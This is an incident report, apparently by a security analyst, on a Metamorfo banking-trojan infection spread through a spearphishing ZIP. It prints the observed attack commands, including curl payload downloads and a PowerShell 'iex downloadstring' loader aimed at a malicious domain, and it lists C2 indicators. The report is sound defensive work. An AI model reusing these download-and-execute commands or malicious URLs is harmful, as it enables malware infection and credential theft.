

# Post-Compromise Incident Report

**Date:** Dec 15th, 2024  
**Time:** 02:19:32 (UTC-3)  
**Prepared by:** Giovanni Alves  
**Host Affected:** workstation1  
**User:** XYZ\User1  
**Incident Type:** Drive-by Compromise + Spearphishing Attachment + Scripted Execution Chain

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## 1. Executive Summary

On December 15th, 2024, a workstation associated with user **XYZ\User1** executed a malicious ZIP archive received through a **targeted spearphishing email**. The payload triggered an automated chain of **HTA, batch, curl, and PowerShell scripts**, culminating in the retrieval and execution of obfuscated remote code.

The activity and infrastructure indicators strongly match the behavior of **Metamorfo**, a well-known financial malware family focused on credential harvesting for banking services.

The host was isolated, but due to the nature of financial malware, full reimage and credential resets are mandatory.

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## 2. Timeline of Events

Timestamp	Event
02:19:06	Outlook spawns Edge via malicious link
02:19:15	Edge downloads ZIP file <a href="#">copia111224mp.zip</a>

<b>02:19:32</b>	User extracts and executes malicious content
<b>02:19:32</b>	HTA script executed via mshta
<b>02:19:32</b>	curl retrieves secondary payload
<b>02:19:33</b>	Batch and PowerShell scripts executed
<b>02:19:33</b>	Remote script pulled from external servers
<b>02:19:33</b>	C2 infrastructure identified (159.100.18[.]13)
<b>02:35:28</b>	Host isolated

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### 3. Incident Description

The user interacted with a malicious ZIP archive delivered via spearphishing. The Outlook parent process confirms direct user interaction.

#### Parent Process

```
C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE  
/restore
```

#### Browser Trigger

Executed by Outlook:

```
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe  
--single-argument microsoft-edge:///url=...
```

This browser instance downloaded:

**Path:**

C:\Users\User1\Downloads\copia111224mp.zip

Timestamp: Dec 15th 2024 02:19:15

Upon extraction and execution, the ZIP contents initiated a multi-stage attack chain typical of financial malware.

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## 4. Execution Chain (Observed Commands)

### Stage 1 — HTA Execution

"C:\Windows\SysWOW64\mshta.exe"

"C:\Users\User1\AppData\Local\Temp\...\copia111224mp.hta" {GUID}  
{GUID}

### Stage 2 — Remote Script Download (curl)

C:\Windows\System32\curl.exe

-o "C:\Wins32Update\_\up.cmd"

"https[:]//firebasestorage[.]googleapis[.]com/.../bt?token=...  
"

This file is flagged as malware in VirusTotal.

### Stage 3 — PowerShell Execution

powershell.exe -nop -win 1

Used to run the downloaded batch and retrieve additional payloads.

### Stage 4 — Second curl Retrieval

```
"C:\Windows\System32\curl.exe"
```

```
-o "C:\Wins32Update_\up.cmd"
```

```
"https[:]//firebasestorage[.]googleapis[.]com/.../bt?token=...  
"
```

## Stage 5 — Final Payload Loader

```
cmd.exe /S /D /c
```

```
"echo iex (new-object  
net.webclient).downloadstring('https://contablebar.shop/112310  
/at3')"
```

The retrieved script was **heavily obfuscated** and contains references to command-and-control infrastructure:

### C2 Identified:

```
159.100.18[.]13/ldht/index26.php
```

This set of indicators aligns with **Metamorfo**, a banking trojan using living-off-the-land tactics (mshta, curl, PowerShell) for multi-stage execution.

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# 5. Root Cause Analysis

## User Behavior

- User opened spearphishing email.
- User downloaded ZIP archive.
- User extracted and executed malicious HTA file.

## Technical Cause

The attack leveraged:

- Outlook as initial vector
- Edge for file retrieval
- Script chaining via mshta, curl, cmd, and PowerShell
- External remote script execution
- Financial malware communication with C2 infrastructure

All behaviors align with Metamorfo's known infection patterns.

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## 6. Impact Assessment

### Confirmed Impact

- Execution of HTA and batch scripts
- Multiple remote payload downloads
- Obfuscated malicious PowerShell execution
- Communication with external C2 infrastructure
- High probability of credential theft (financial focus)

### Prevented / Limited

- No lateral movement observed
- No persistence confirmed in this stage (but likely attempted)
- Host isolated before additional payload staging

### Overall Risk Level: HIGH

This is a credential-stealing malware family.

All trust in the workstation is considered compromised.

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## 7. Indicators of Compromise (IOCs)

### Downloaded File

- `copia111224mp.zip` (ZIP archive)

### Processes

- `mshta.exe`
- `powershell.exe` (`-nop`, `-win 1`)
- `curl.exe`
- `cmd.exe /c echo iex ...downloadstring`

### URLs / C2

- `https[:]//firebasestorage[.]googleapis[.]com/...`
- `https[:]//contablebar.shop/112310/at3`
- `159.100.18[.]13/1dht/index26.php`

### Technique Mapping (MITRE ATT&CK)

- Initial Access: **T1566.001** (Spearphishing Attachment)
  - Execution: **T1218.005** (mshta), **T1059** (scripts)
  - Defense Evasion: **T1027** (obfuscation)
  - Command and Control: **T1105** (remote file transfer)
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## 8. Required Remediation

### Mandatory

- **Format (reimage) the workstation**
- **Reset all user passwords** (corporate, banking, VPN, email)
- **Clean the user's mailbox** (malicious email + thread)
- **Remove sender from allowed lists and block domain**

### Recommended

- Apply advanced phishing protections
  - Review URL rewriting and attachment sandboxing policies
  - Run environment-wide hunting for related IOCs
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## 9. Conclusion

This event reflects a **successful execution of a financial malware infection chain**, consistent with Metamorfo. The malware retrieved multiple remote payloads, executed commands, and communicated with a malicious C2 server. Due to the nature of the malware family and the execution artifacts, **credential compromise is highly likely**.

Reimage and credential resets are essential.